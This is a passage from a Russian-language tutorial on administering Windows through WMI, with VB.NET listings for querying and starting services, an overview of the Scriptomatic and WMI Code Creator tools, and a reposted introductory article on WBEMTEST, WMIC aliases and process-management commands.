           For Each oConfigutation As Object In oComputerSystem
               ' Вывод результатов в консоль
               Console.Write(oConfigutation.Model)
           Next
       Catch ex As Exception
           Console.Write("Ошибка запроса к WMI")
       End Try
End Module

Второй способ является более правильным с точки зрения Visual Studio. Он использует классSystem.Managementдля запросов к WMI, в котором указываются пространство WMI, параметры подключения и WQL запрос:

' Задание параметров подключения
mOptions = New Management.ConnectionOptions([Options])
' Задания WMI пространства имен
mScope = New Management.ManagementScope(WMINameSpace, mOptions)
' Задание WQL запроса
mQuery = New Management.ObjectQuery(WQLQuery)
' Создание объекта поиска по WMI с указанными параметрами
mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery)
' Выполнение запроса
mQueryCollection = mSearcher.Get()

Использование полученных объектов аналогично использованию в скриптах.

Пример запроса сервисов локального комьютера (консольное приложение):

Module TestModule
   Sub Main()
       ' Объявление переменных
       Dim mOptions As Management.ConnectionOptions
       Dim mScope As Management.ManagementScope
       Dim mQuery As Management.ObjectQuery
       Dim mSearcher As Management.ManagementObjectSearcher
       Dim mQueryCollection As Management.ManagementObjectCollection
       ' Задание параметров подключения
       mOptions = New Management.ConnectionOptions
       ' Задания WMI пространства имен
       mScope = New Management.ManagementScope("\\.\root\cimv2", mOptions)
       ' Задание WQL запроса
       mQuery = New Management.ObjectQuery("SELECT * FROM Win32_Service")
       ' Создание объекта поиска по WMI с указанными параметрами
       mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery)
       Try
           ' Выполнение запроса
           mQueryCollection = mSearcher.Get()
           ' Вывод результатов в консоль
           For Each mObject As Management.ManagementObject In mQueryCollection
               Console.WriteLine(mObject.Item("DisplayName").ToString)
           Next
       Catch ex As Exception
           Console.Write("Ошибка запроса к WMI")
       End Try
   End Sub
End Module

В качестве примера прораммы использования WMI в Visual Basic.Net представлено консольное приложение управления сервисом печати компьютера. Приложение запрашивает модель компьютера и выводит результат в консоль. После чего запрашивает состояние сервиса печати и, если он остановлен, предлагает запустить его.

Приложение разделено на две части: класс, который компилируется в динамическую библиотеку DLL, и программа, которая собирается в исполняемый файл EXE.

Листинг файла WMIClass.vb:

Public Class WMIClass

' Функция получения модели копьютера
#Region "GetModel 1.0"
   Public Function GetModel(Optional ByVal IPAddress As String = ".") As String
       Dim mTempValue As String = Nothing
       Try
           Dim oComputerSystem = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _
             IPAddress & "\root\cimv2").ExecQuery("Select * from Win32_ComputerSystem")
           For Each oConfigutation As Object In oComputerSystem
               mTempValue = oConfigutation.Model
           Next
       Catch ex As Exception

       End Try
       Return mTempValue
   End Function
#End Region

' Функция получения состояния сервиса компьютера
#Region "GetServiceState 1.0"
   Public Function GetServiceState(Optional ByVal IPAddress As String = ".", _
     Optional ByVal ServiceName As String = "winmgmt") As Boolean
       Dim mOptions As Management.ConnectionOptions
       Dim mScope As Management.ManagementScope
       Dim mQuery As Management.ObjectQuery
       Dim mSearcher As Management.ManagementObjectSearcher
       mOptions = New Management.ConnectionOptions
       mScope = New Management.ManagementScope("\\" & IPAddress & "\root\cimv2", mOptions)
       mQuery = New Management.ObjectQuery("SELECT * FROM Win32_Service " & _
         "WHERE DisplayName = '" & ServiceName & "'")
       mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery)
       Try
           Dim mQueryCollection As Management.ManagementObjectCollection = mSearcher.Get()
           For Each mObject As Management.ManagementObject In mQueryCollection
               If mObject("State") = "Running" Then
                   Return True
               Else
                   Return False
               End If
           Next
           Return False
       Catch ex As Exception
           Return False
       End Try
   End Function

   Public Function GetServiceStateFull(Optional ByVal IPAddress As String = ".", _
     Optional ByVal ServiceName As String = "winmgmt") As String
       Dim mOptions As Management.ConnectionOptions
       Dim mScope As Management.ManagementScope
       Dim mQuery As Management.ObjectQuery
       Dim mSearcher As Management.ManagementObjectSearcher
       mOptions = New Management.ConnectionOptions
       mScope = New Management.ManagementScope("\\" & IPAddress & "\root\cimv2", mOptions)
       mQuery = New Management.ObjectQuery("SELECT * FROM Win32_Service " &
         "WHERE DisplayName = '" & ServiceName & "'")
       mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery)
       Try
           Dim mQueryCollection As Management.ManagementObjectCollection = mSearcher.Get()
           For Each mObject As Management.ManagementObject In mQueryCollection
               Return mObject("State")
           Next
           Return "No data"
       Catch ex As Exception
           Return "No data"
       End Try
   End Function
#End Region
	
' Процедура управления сервисом компьютера
#Region "Manage Service 1.0"
   Public Sub ManageService(Optional ByVal IPAddress As String = ".", _
     Optional ByVal ServiceName As String = "winmgmt", _
     Optional ByVal Action As String = "StartService")
       Dim mOptions As Management.ConnectionOptions
       Dim mScope As Management.ManagementScope
       Dim mQuery As Management.ObjectQuery
       Dim mSearcher As Management.ManagementObjectSearcher
       Dim mQueryCollection As Management.ManagementObjectCollection
       mOptions = New Management.ConnectionOptions
       mScope = New Management.ManagementScope("\\" & IPAddress & "\root\cimv2", mOptions)
       mQuery = New Management.ObjectQuery("SELECT * FROM Win32_Service " & _
         "WHERE DisplayName = '" & ServiceName & "'")
       mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery)
       Try
           mQueryCollection = mSearcher.Get()
           For Each mObject As Management.ManagementObject In mQueryCollection
               mObject.InvokeMethod(Action, Nothing)
           Next
       Catch ex As Exception

       End Try
   End Sub
#End Region
	
End Class

Листинг файла TestModule.vb:

Module TestModule
   ' Создание экземпляра класса WMIClass
   Private mWMIClass_Instance As New WMIClass

   Sub Main()
       Dim mKeyNumber As Integer
       ' Получение модели компьютера и результата в консоль
       Console.WriteLine("Модель компьютера: " & mWMIClass_Instance.GetModel())
       ' Проверка состояния сервиса "Диспетчер печати"
       If mWMIClass_Instance.GetServiceState(, "Диспетчер печати") = True Then
           Console.WriteLine("Служба ""Диспетчер печати"" запущена")
       Else
           Console.WriteLine("Служба ""Диспетчер печати"" остановлена")
           Console.Write("Запустить службу ""Диспетчер печати""? Y/N: ")
           ' Чтение символа с клавиатуры
           mKeyNumber = Console.Read
           If mKeyNumber = 89 Or mKeyNumber = 121 Then
               Console.WriteLine("Запуск службы ""Диспетчер печати""...")
               ' Попытка запуска сервиса "Диспетчер печати"
               mWMIClass_Instance.ManageService(, "Диспетчер печати", "StartService")
               ' Ожидание 5 секунда
               Threading.Thread.Sleep(5000)
               ' Проверка состояния сервиса "Диспетчер печати"
               If mWMIClass_Instance.GetServiceState(, "Диспетчер печати") = True Then
                   Console.WriteLine("Служба ""Диспетчер печати"" успешно запущена")
               Else
                   Console.WriteLine("Запуск службы ""Диспетчер печати"" не удался")
               End If
           End If

       End If
       Console.WriteLine("Нажмите любую клавишу для продолжения")
       ' Ожидание нажатия любой клавиши
       Console.ReadKey()
   End Sub
End Module

Для того, чтобы облегчить написание скриптов и программ, существуют специальные утилиты, которые помогают просмотреть структуру пространства WMI и показавают примеры использования всех классов. Наиболее распространенные утилиты — это Scriptomatic и WMI Code Creator.

Инструмент Scriptomatic предствляет из себя HTA-приложение, которое генерирует код, использующий WMI, на VBSScript, JScript, Perl и Python. Сам по себе WMI может оказаться трудным для изучения, поэтому рекомендуется использовать Scriptomatic для освоения классов WMI, а также для быстрого создания шаблонов обращения к ресерсум WMI. Scriptomatic позволяет выбрать интересующий объект WMI, а затем генерирует код на указанном языке программирования. Полученный код можно выполнить непосредственно в оболочке программы, а результаты вывести в консоль, текстовый файл, HTML, Excel или XML. Инструмент доступен на сайте Microsoft по этой ссылке.

Administration via WMI - wmiscriptomatic

WMI Scriptomatic — Инициализация

Administration via WMI - wmiscriptomatic

WMI Scriptomatic — Win32_OpepatingSystem

Программа WMI Code Creator представляет из себя генератор кода, который использует WMI для получения информации и для осуществления задач упраления компьютерами. Программа может помочь научиться использовать WMI-скрипты и WMI-приложения для управления как локальным, так и удаленным компьютером. Инструмент доступен на сайте Microsoft по этой ссылке.

Используя WMI Code Creator можно найти любую информацию о компьютере: имя и версия операционной системы, свободное место на диске, состояние сервисов и так далее. Можно выполнить метод из WMI класса для осуществления управления компьютером: создать или удалить сервис, запустить или закрыть программы, назначить разрешения на папку или файл и многое другое. Этот инструмент так же позволяет просматривать доступное WMI-пространство и WMI-классы, чтобы найти нужную для программирования инстанцию с ее описанием, свойствами, методами и примером использования.

Administration via WMI - wmicodecreator

WMI Code Creator — Query

Administration via WMI - wmicodecreator

WMI Code Creator — Method

Administration via WMI - wmicodecreator

WMI Code Creator — Event

Administration via WMI - wmicodecreator

WMI Code Creator — Namespace

Итак, Windows Management Instrumentation — это мощный инструмент для администрирования операционных систем семейства Windows с помощью скриптов. С помощью WMI можно управлять устройствами, учетными записями, сервисами, процессами, сетевыми интерфейсами и другими программами, которые расширяют базовую структуру WMI своими классами.

Помимо скриптов WMI может применяться и в полноценных программах, то есть программисты могут внедрять запросы к WMI в исполняемый код, завязывая свою программу с работой WMI, благодаря чему программа становится проще и легче, но зависимой от правильности работы Windows Management Instrumentation.

Интересно, что новая командная оболочка Windows PowerShell связана с WMI как технической точки зрения, так и с точки зрения создания запросов — утилита Wmic.exe функционирует в некотором смысле аналогичным образом. В Windows PowerShell поддержка WMI, представлена в точно таком же согласованном объектном виде, как и другие возможности данной оболочки, поэтому при изучении этой оболочки применение WMI не становится такой сложной задачей, как это было в VBScript — не нужно изучать синтаксис и механизмы языка, отличного от языка скрипта.

Инструменты для написания скриптов ScriptReference.zip.

Более подробно о Windows PowerShell можно будет прочитать в следующих выпусках статей сайта www.SysEngineering.ru.

Виталий Бочкарев

Хороший материал, взятый из журнала samag.ru [14], автор Константин Леонтьев. Тем, кто его до сих пор не читает, читать немедленно…

[Вы всё ещё не используете WMI?]

Если ты один из большинства админов, ты частенько грустишь, выглядывая из окна и наблюдая, как некоторые твои собратья ездят на своих «Ягуарах» и «Порше», или готовятся дернуть в Монте-Карло или какое-нибудь другое экзотическое место. И, конечно же, ты говоришь себе: «Я знаю о системном администрировании столько же, сколько и они, но почему именно у них есть клёвые тачки, яхты и часы «Ролекс»?..». Что ж, мы здесь для того, чтобы приоткрыть тебе небольшой секрет. Это все потому, что они знают, как писать WMI-скрипты, а ты – нет!

Microsoft TechNet: Bob Wells, Dean Tsaltas, Ethan Wilansky и Greg Stemp

Начиная карьеру системного администратора, Вы вероятно и не задумывались о том, что вместе с Вашим профессиональным ростом будет расти размер и сложность обслуживаемых систем. И вот наступил момент, когда вы поняли, что нужно принципиально новое решение, для того чтобы справляться с огромным количеством рутины, да ещё и в разных офисах вашей компании. Вероятнее всего, Вы уже немного знакомы с WMI на практике и используете некоторые готовые сценарии WMI для решения повседневных задач. Но согласитесь, что эффективное использование технологии начинается только тогда, когда вы понимаете ее архитектуру и четко представляете весь спектр возможностей, которые эта технология может вам предоставить.

Основная моя цель – кратко изложить основы, необходимые для эффективного использования вами этой технологии и представить вам набор рецептов по ее применению в реальных условиях.

Вы получите практический навык работы со всеми основными средствами WMI, выполнив несколько простых, но весьма полезных упражнений. Я предполагаю, что вы немного знакомы с программированием на VBScript и с азами языка SQL, а также имеете общее представление об объектно-ориентированном программировании. Обратите внимание на готовые примеры кода, которые помогут вам в Вашей работе.

Что такое WMI?

Формально: аббревиатура WMI – это Windows Management Instrumentation (инструментарий управления Windows). Из названия понятно, для чего создана и применяется эта технология. Стоит лишь добавить, что она давно перешагнула рамки управления только операционной системой Windows и позволяет контролировать множество других совместимых с ней приложений.

По своей сути WMI – это расширенная и адаптированная компанией Microsoft реализация стандарта WBEM (WebBased Enterprise Management компании DMTF Inc [1]). В основе WBEM лежит идея создания универсального интерфейса мониторинга и управления к различным системам и компонентам распределенной информационной среды предприятия с использованием объектно-ориентированной идеологии и широко распространенных веб-технологий представления информации: протоколов XML и HTTP. Стандарт WBEM является правопреемником стандарта DMI (Desktop Management Interface).

В основе структуры представления данных в стандарте WBEM лежит CIM (Common Information Model – модель информации общего типа), реализующая объектно-ориентированный подход к представлению компонентов систем как классов со своим набором свойств и методов, а также принципов наследования.

Основное средство для описания новых элементов модели CIM – это синтаксис языка Managed Object Format (MOF), который является текстовым и легко понятным человеку. Таким образом, любое приложение или драйвер в операционной системе, которая поддерживает стандарт WBEM, может добавить к системной модели CIM свой набор классов. Такое расширение модели CIM позволяет легко интегрировать в единую систему мониторинга и управления все новые и новые приложения. Для этой интеграции приложение должно лишь зарегистрировать свои классы в существующей модели CIM и обеспечить стандартные вызовы встроенных процедур для создания объектов этих классов и наполнения их свойствами и методами. Набор этих процедур оформляется, как WMI Provider – специальная библиотека, являющаяся мостом между любым приложением и ядром службы WMI.

Таким образом, WMI – это открытая унифицированная библиотека (репозиторий) однотипных интерфейсов доступа к параметрам, настройки и свойствам различных систем и их компонентов. Архитектура WMI представлена на рис. 1.

WMI-architecture

Рисунок 1. Архитектура WMI

Многие производители программного и аппаратного обеспечения ведут разработку ПО в соответствии со стандартом WBEM. Как следствие, это ПО совместимо и с WMI, а значит, может управляться через единый и удобный интерфейс.

Классы, объекты, свойства и методы

Поскольку WMI построена по объектно-ориентированному принципу, то все данные об операционной системе, ее свойствах, управляемых приложениях и обнаруженном оборудовании представлены в виде объектов. Каждый тип объекта описан классом, в состав которого входят свойства и методы. Определения классов описаны в MOF-файлах, а объекты этих классов с заполненными свойствами и доступными методами при их вызове возвращаются WMI-провайдерами. Управляет созданием и удалением объектов, а также вызовом их методов служба CIM Object Manager.

Получается, что если мы хотим управлять настройками сетевого адаптера, то мы должны запросить у CIM Object Manager экземпляр объекта нужного нам сетевого адаптера (забегая вперед, скажу, что этот объект принадлежит классу Win32_NetworkAdapterConfiguration) и вызвать нужные нам методы. В частности, для того чтобы обновить аренду адреса на DHCP сервере, достаточно вызвать метод RenewDHCPLease экземпляра объекта Win32_NetworkAdapterConfiguration.

Обзор средств работы с WMI для администратора

Начнем фактическое знакомство с WMI с обзора утилит, которые позволяют вам работать с WMI на ОС семейства Windows. Условно разделим этот набор утилит на поставляемые с операционной системой по умолчанию и набор утилит, которые потребуется скачивать с сайта компании Microsoft. К первой категории относятся следующие утилиты:

wmimgmt.msc – оснастка консоли MMC, позволяющая в целом управлять самой системой WMI на выбранном компьютере.
Winmgmt.exe – консольная утилита управления WMI. Выполняет аналогичные действия, что и консоль MMC wmimgmt.msc. Кроме того, является исполняемым файлом сервиса WMI в системе. Для запуска из консоли используется с опцией /exe (winmgmt.exe /exe).
Wbemtest.exe – графическая утилита для интерактивной работы с WMI. Удобна для тестирования классов и методов, просмотра свойств и т. п.
Wmic.exe – консольная утилита для вызова объектов и методов WMI (WMI Console) – присутствует только в Windows XP и Windows Server 2003.
mofcomp.exe – компилятор MOF-файлов. Служит для расширения репозитория WMI и тонких операций с библиотекой классов WMI, а также для «ремонта» нарушенного репозитория.

Ко второй категории средств для работы с WMI, которые требуется дополнительно устанавливать, относится:

WMI Code Creator 1.0 – очень удобная и полезная утилита для создания готовых сценариев WMI. Поддерживает языки Visual Basic Script, C# и Visual Basic .NET [2].
WMI Administrative Tools – комплект средств в составе: WMI CIM Studio, WMI Event Registration, WMI Event Viewer и WMI Object Browser). Удобная среда разработки и тестирования WMI-классов и методов [3].
Scriptomatic 2.0 – мастер в формате Hyper Text Application (HTA). Удобна для создания готовых сценариев и на различных скриптовых языках. Поддерживает Visual Basic Script, Perl, Java Script и Python [4].
Tweakomatic Utility – утилита в формате Hyper Text Application (HTA). Содержит множество настроек системы, обычно доступных через утилиты-твикеры (например, Windows XP Power Toys TweakUI), для которых позволяет сгенерировать WMI-скрипты для их автоматической настройки. Весьма полезна при разработке сценариев автоматизированной установки и настройки [5].

Все утилиты, относящиеся ко второй категории, можно бесплатно скачать с сайта компании Microsoft по ссылкам, перечисленным в конце статьи. Полезно будет так же посетить раздел загрузки средств работы со скриптами [6] и общий раздел загрузки средств работы с WMI [7].

Для того, чтобы рассмотреть возможности и особенности всех средств работы с WMI, которые перечислены выше, не хватит и целого журнала, поэтому мы кратко остановимся на некоторых из них, на мой взгляд, наиболее полезных и (или) наиболее употребимых. Собственно, к таким я отношу следующие утилиты: WBEMTEST, WMIC, WMI Administrative Tools и довольно новую, но весьма полезную и удачную утилиту WMI Code Creator 1.0.

Надо отметить, что существуют и другие утилиты и средства работы с WMI, в том числе разработанные не компанией Microsoft, однако формат статьи не позволяет нам на них останавливаться сколько-нибудь подробно. Об одном из этих средств я считаю своим долгом хотя бы упомянуть в этой статье – это ADSI Scriptomatic [8], позволяющее создавать скрипты для управления службой каталогов Microsoft Active Directory.

Все примеры в этой статье протестированы на операционной системе Windows XP Service Pack 2, однако должны также корректно работать и на более ранних версиях OS Windows вплоть до Windows 2000. Если вам потребуется использовать WMI на более ранних версиях ОС Windows, то вам необходимо будет установить WMI Core Components 1.5 [9] и последнюю версию Windows Scripting Host [10, 11] на эти ОС.

Знакомимся с утилитой WBEMTEST

Чтобы прямо сейчас посмотреть, какой набор классов определен в репозитории WMI на вашем персональном компьютере, достаточно запустить утилиту wbemtest.exe и установить флажок «Enable All Privileges», как показано на рис. 2.

WMI-WBEMTEST-pic02-main-window

Рисунок 2. Основное окно утилиты WBEMTEST

Далее нужно нажать кнопку «Connect…», в поле пространства имен вписать root\CIMv2, как это показано на рис. 3, и нажать кнопку «Connect».

Рисунок 3. Окно настройки подключения к репозиторию WMI утилиты WBEMTEST

WMI-WBEMTEST-pic04

Рисунок 4. Основное окно утилиты WBEMTEST после подключения к репозиторию WMI

Затем нажмите кнопку «Enum Classes…», выберите «Recursive», не заполняйте поле суперкласса и нажмите «Ok». В результате вы получите список классов, определенный в вашем репозитории WMI, в пространстве имен CIMv2. Найдите среди всех класс с названием Win32_OperatingSystem (CIM_OperatingSystem), как это показано на рис. 5.

WMI-WBEMTEST-pic05

Рисунок 5. Окно результатов запроса со списком всех классов WMI пространства имен CIMv2

Дважды щелкните курсором мыши по классу Win32_OperatingSystem, посмотрите его свойства. Пример того, как это выглядит, показан на рис. 6.

WMI-WBEMTEST-pic06

Рисунок 6. Окно свойств класса Win32_OperatingSystem

Далее нужно нажать кнопку «Instances» и в открывшемся окне дважды щелкнуть курсором мыши по строке в списке экземпляров операционных систем. В открывшемся окне свойств экземпляра операционной системы найдите свойство («Property») с названием «Name», как это показано на рис. 7.

WMI-WBEMTEST-pic07

Рисунок 7. Окно свойств экземпляра объекта класса Win32_OperatingSystem

Дважды кликните по свойству курсором мыши. В открывшемся окне редактора свойств, которое показано на рис. 8, скопируйте отображаемое значение в буфер обмена. Оно пригодится нам в дальнейшем.

WMI-WBEMTEST-pic08

Рисунок 8. Окно со значением свойства Name экземпляра объекта класса Win32_OperatingSystem

Далее закройте все окна, кроме основного окна программы wbemtest. В блокноте отредактируйте строку из буфера обмена следующем образом:

— Заключите строку в кавычки.
— До первых кавычек добавьте следующий текст: «Win32_Operating-System.Name=».
— Замените все одинарные обратные слеши на двойные.

В итоге у вас должна получиться примерно следующая строка (в зависимости от версии ОС и логического диска, куда она установлена):

Win32_OperatingSystem.Name=»Microsoft Windows XP Professional|C:\\WINDOWS|\\Device\\Harddisk0\\Partition1″

Теперь давайте выполним следующее упражнение с утилитой wbemtest. В уже открытом окне утилиты wbemtest нажмем кнопку «Execute Method…» и в окошко «GetObjectPath» вставим строку, которую мы подготовили в блокноте. В появившемся окне (см. рис. 9) вызова метода экземпляра объекта выберите метод Reboot и нажмите кнопку «Execute!».

WMI-WBEMTEST-pic09

Рисунок 9. Окно вызова метода для экземпляра объекта класса Win32_OperatingSystem утилиты WBEMTEST

Поздравляю, Вы только что отправили свою операционную систему в перезагрузку, используя WMI. Если вы вдруг получили вместо перезагрузки сообщение об ошибке 0x80041062 «Privilege not held», то это означает, что вы забыли установить опцию «Enable All Privileges» до подключения к репозиторию WMI.

Теперь следует сказать (пока Windows перезагружается), что при подключении к пространству имен WMI вы можете подключаться не только на локальной машине, но и как следует из обзора WMI к любой удаленной. Главное, обладать на той машине необходимыми правами. Но об этих правах позднее! Для подключения к удаленной машине в окне подключения достаточно в поле Name Space указать строку вида \\\root\CIMv2 и указать учетные данные пользователя, обладающего необходимыми правами (например, Administrator). Пример этого показан на рис. 10.

Рисунок 10. Окно подключение к пространству имен WMI с явным указанием имени сервера

Не пробуйте подключаться к локальной машине, на которой запрашиваются объекты и методы WMI (например, на той, на которой сейчас выполняется утилита wbemtest), используя отличные от текущих учетные данные – все равно это у вас не получится. Это специальная защита для повышения локальной безопасности WMI, но о ней мы поговорим позже.

Утилита WMIC

Чтобы воспользоваться этой очень важной и полезной для администратора утилитой, достаточно запустить интерпретатор командной строки cmd.exe и в строке приглашения набрать WMIC. После этого у вас появится приглашение консоли WMI, как это показано на рис. 11.

WMI-WMIC

Рисунок 11. Командное окно с запущенной утилитой WMIC в интерактивном режиме

Для получения справки по всем командам, доступным из консоли WMIC, достаточно в строке приглашения ввести команду «/?». Синтаксис каждой команды или глобальной опции вы можете посмотреть, введя ее название и знак вопроса. Например:

Так мы работаем с утилитой WMIC в интерактивном режиме. Однако ничто не мешает нам использовать ее и в пакетном режиме из наших BAT/CMD-сценариев. Например, в приглашении командной строки CMD можно написать:

и получить тот же результат.

Утилита WMIC создана для удобства использования WMI прямо из командной строки, поэтому наиболее употребимые классы WMI доступны для использования под псевдонимами (ALIAS). Вы можете самостоятельно определить псевдонимы для тех классов, для которых это еще не сделано, или добавить новые псевдонимы для тех классов WMI, которые уже их имеют.

Список псевдонимов, которые определены на Windows XP Service Pack 2 по умолчанию с их кратким описанием, приведены в таблице 1.

Таблица 1. Список псевдонимов утилиты WMIC и соответствие их классам WMI

Псевдоним Описание Имя класса WMI
BASEBOARD Управление материнской платой, она также называется motherboard, или системная плата. Win32_BIOS
BIOS Управления базовыми сервисами ввода/вывода (Basic input/output services, BIOS). Win32_BaseBoard
BOOTCONFIG Управление конфигурацией загрузки (Boot configuration management). Win32_BootConfiguration
CDROM Управление приводом CD-ROM. Win32_CDROMDrive
COMPUTERSYSTEM Управление системой компьютера. Win32_ComputerSystem
CPU Управление процессовром. WIN32_PROCESSOR
CSPRODUCT Получение от SMBIOS информации о компьютере как системном продукте. Win32_ComputerSystemProduct
DATAFILE Управление данными файлов (DataFile Management). CIM_DataFile
DCOMAPP Управление приложениями (DCOM Application management). WIN32_DCOMApplication
DESKTOP Управление рабочим столом пользователя (User’s Desktop management). WIN32_DESKTOP
DESKTOPMONITOR Desktop Monitor management WIN32_DESKTOPMONITOR
DEVICEMEMORYADDRESS Управление адресами памяти устройств (Device memory addresses management). Win32_DeviceMemoryAddress
DISKDRIVE Управление диском на физическом уровне (Physical disk drive management). Win32_DiskDrive
DISKQUOTA Управление квотами NTFS пространства диска (Disk space usage for NTFS volumes). Win32_DiskQuota
DMACHANNEL Управление каналами прямого доступа к памяти (Direct memory access, DMA channel management). Win32_DMAChannel
ENVIRONMENT Управление настройками системного окружения (System environment settings management) Win32_Environment
FSDIR Управление директориями файловой системы (Filesystem directory entry management). Win32_Directory
GROUP Управление группами учетных записей (Group account management). Win32_Group
IDECONTROLLER Управление контролером диска IDE (IDE Controller management). Win32_IDEController
IRQ Управление сигналами прерываний (Interrupt request line, IRQ management). Win32_IRQResource
JOB Предоставляет доступ к назначенным заданиям (jobs scheduled) с использованием службы назначенных заданий (schedule service). Win32_ScheduledJob
LOADORDER Управление службами системы, которые задают зависимости запуска (execution dependencies). Win32_LoadOrderGroup
LOGICALDISK Управление дисковыми локальными устройствами хранения (Local storage device management). Win32_LogicalDisk
LOGON Управление сессиями пользователей (LOGON Sessions). Win32_LogonSession
MEMCACHE Управление кэшем (Cache memory management). WIN32_CACHEMEMORY
MEMLOGICAL Управление памятью системы (как сконфигурирована карта памяти, и как память доступна для приложений и сервисов). Win32_LogicalMemoryConfiguration
MEMPHYSICAL Управление памятью компьютера на физическом уровне (Computer system’s physical memory management). Win32_PhysicalMemoryArray
NETCLIENT Управление клиентом сети (Network Client management). WIN32_NetworkClient
NETLOGIN Управление информацией учетной записи сети для отдельного пользователя. Win32_NetworkLoginProfile
NETPROTOCOL Управление протоколами и их сетевыми характеристиками. Win32_NetworkProtocol
NETUSE Управление активным сетевым соединением. Win32_NetworkConnection
NIC Управление сетевым адаптером (Network Interface Controller, NIC). Win32_NetworkAdapter
NICCONFIG Управление конфигурацией сетевого адаптера. Win32_NetworkAdapterConfiguration
NTDOMAIN Управление доменом NT. Win32_NTDomain
NTEVENT Получение доступа к логам событий (Entries in the NT Event Log). Win32_NTLogEvent
NTEVENTLOG Управление файлом лога (NT eventlog file management). Win32_NTEventlogFile
ONBOARDDEVICE Управление общими адаптерами, установленными в материнскую плату (system board). Win32_OnBoardDevice
OS Управление инсталлированными операционными системами. Win32_OperatingSystem
PAGEFILE Управление виртуальной памятью и её свопом на диск. Win32_PageFileUsage
PAGEFILESET Установка параметров файла свопа. Win32_PageFileSetting
PARTITION Управление логическими разделами физического диска (Management of partitioned areas of a physical disk). Win32_DiskPartition
PORT Управление портами ввода/вывода (I/O port management). Win32_PortResource
PORTCONNECTOR Управление физическим соединением портов (Physical connection ports management). Win32_PortConnector
PRINTER Printer device management Win32_Printer
PRINTERCONFIG Управление конфигурацией принтера. Win32_PrinterConfiguration
PRINTJOB Управление заданиями принтера. Win32_PrintJob
PROCESS Управление процессами. Win32_Process
PRODUCT Управление задачей инсталляционных пакетов (Installation package task management). Win32_Product
QFE Быстрое исправление ошибок (Quick Fix Engineering). Win32_QuickFixEngineering
QUOTASETTING Установка информации о квотах, установленных для тома диска (Setting information for disk quotas on a volume). Win32_QuotaSetting
RECOVEROS Информация, которая была захвачена из памяти при крахе системы. Win32_OSRecoveryConfiguration
REGISTRY Управление реестром системы. Win32_Registry
SCSICONTROLLER Управление контроллером SCSI. Win32_SCSIController
SERVER Управление информацией о сервере. Win32_PerfRawData_PerfNet_Server
SERVICE Управление прикладными сервисами. Win32_Service
SHARE Управление общими сетевыми ресурсами (Shared resource management). Win32_Share
SOFTWAREELEMENT Управление элементами программных продуктов, установленных в системе. Win32_SoftwareElement
SOFTWAREFEATURE Управление подмножествами программных продуктов SoftwareElement. Win32_SoftwareFeature
SOUNDDEV Управление устройством звука. WIN32_SoundDevice
STARTUP Управление командами автозапуска при входе пользователя в систему. Win32_StartupCommand
SYSACCOUNT Управление учетной записью системы (System account management). Win32_SystemAccount
SYSDRIVER Управление системным драйвером для базовой службы (Management of the system driver for a base service). Win32_SystemDriver
SYSTEMENCLOSURE Управление физическим доступом к корпусу компьютера (Physical system enclosure management). Win32_SystemEnclosure
SYSTEMSLOT Управление физичесими соединениями, включая порты, слоты и периферийные устройства, и точками проприетарных соединений. Win32_SystemSlot
TAPEDRIVE Управление накопителем на магнитной ленте. Win32_TapeDrive
TEMPERATURE Управление данными от датчика температуры (электронный термометр). Win32_TemperatureProbe
TIMEZONE Управление данными часового пояса (Time zone data management). Win32_TimeZone
UPS Управление источником бесперебойного питания (Uninterruptible power supply, UPS). Win32_UninterruptiblePowerSupply
USERACCOUNT Управление учетными записями пользователей (User account management). Win32_UserAccount
VOLTAGE Управление данными сенсора напряжения (электронный вольтметр). Win32_VoltageProbe
VOLUMEQUOTASETTING Связывает установки дисковой квоты с определенным дисковым томом. Win32_VolumeQuotaSetting
WMISET Управляет рабочими параметрами службы WMI. Win32_WMISetting

Теперь давайте попробуем использовать утилиту WMIC для работы с WMI из командной строки. Для начала выйдите из интерактивного режима консоли WMIC командой exit. Вы оказались в среде командного интерпретатора CMD. В приглашении наберите команду:

Вы получите список процессов, запущенных на вашем локальном компьютере. Теперь выполните команду:

wmic process list brief | find "cmd.exe"

Теперь список процессов ограничен только теми процессами, в имени исполняемого модуля которых присутствует строка «cmd.exe». Обратите внимание на PID процесса(ов).

Давайте попробуем отобрать интересующие нас процессы, используя непосредственно WMI и не прибегая к стандартным средствам командной строки. Для этого просто напишите:

wmic process where description='cmd.exe' list brief

Сравните полученные результаты. Запомните PID процесса CMD.EXE.

Вызовем метод Terminate для экземпляра объекта WMI. Так мы завершим интересующий нас процесс в системе. Для того чтобы однозначно определить процесс, который мы хотим завершить, нам нужно использовать его PID или какой-либо другой набор атрибутов процесса, которые позволяют его однозначно отличить от множества других процессов в системе. Для завершения процесса нам нужно вызвать метод WMI. Для этого существует команда CALL. Для того чтобы вывести справку по всем методам, применимым к объектам типа PROCESS (Win32_Process), наберите команду:

Среди них обратите внимание на метод Terminate – он принимает в качестве единственного входного параметра значение типа UINT32 (беззнаковое 32-разрядное целое) в качестве индекса причины завершения процесса. В данном случае этот параметр аналогичен Exit-коду.

Запустите четыре разных экземпляра процесса cmd.exe (откройте 4 командных окна). Еще раз выполните команду:

wmic process where description='cmd.exe' list brief

В результате вы получите в ответ примерно следующее:

HandleCount  Name     Priority  ProcessId  ThreadCount  WorkingSetSize
28           cmd.exe  8         4648       1            2494464       
28           cmd.exe  8         5156       1            2498560        
28           cmd.exe  8         4940       1            2498560        
31           cmd.exe  8         612        1            2703360        

Итак, чтобы завершить конкретный процесс, просто наберите:

wmic process where processid='****' call terminate(0)

вместо звездочек укажите PID нужного вам экземпляра процесса cmd.exe.

Теперь давайте одной командой завершим все оставшиеся процессы cmd.exe, для этого просто введите команду:

wmic process where description='cmd.exe' call terminate(0)

Что за конструкция where и как еще ее можно использовать, мы разберем чуть позже в разделе «Язык запросов WQL».

Для того чтобы подключиться к репозиторию WMI на другом компьютере и выполнять все те же действия, при условии, что наша учетная запись обладает достаточными правами, нам всего лишь нужно немного модифицировать нашу командную строку. Теперь наши команды должны выглядеть примерно так:

wmic /NODE:server01 /USER:DOMAIN\Administrator /PASSWORD:qwerty
/PRIVILEGES:ENABLE process where description='cmd.exe' list brief

Если же вы хотите выполнить какие-то действия, используя WMI не с одним, а с целой группой компьютеров, то достаточно написать команду с использованием WMIC и ключом «/node:@serverslist.txt»:

wmic /NODE:@serverslist.txt /USER:DOMAIN\Administrator /PASSWORD:qwerty
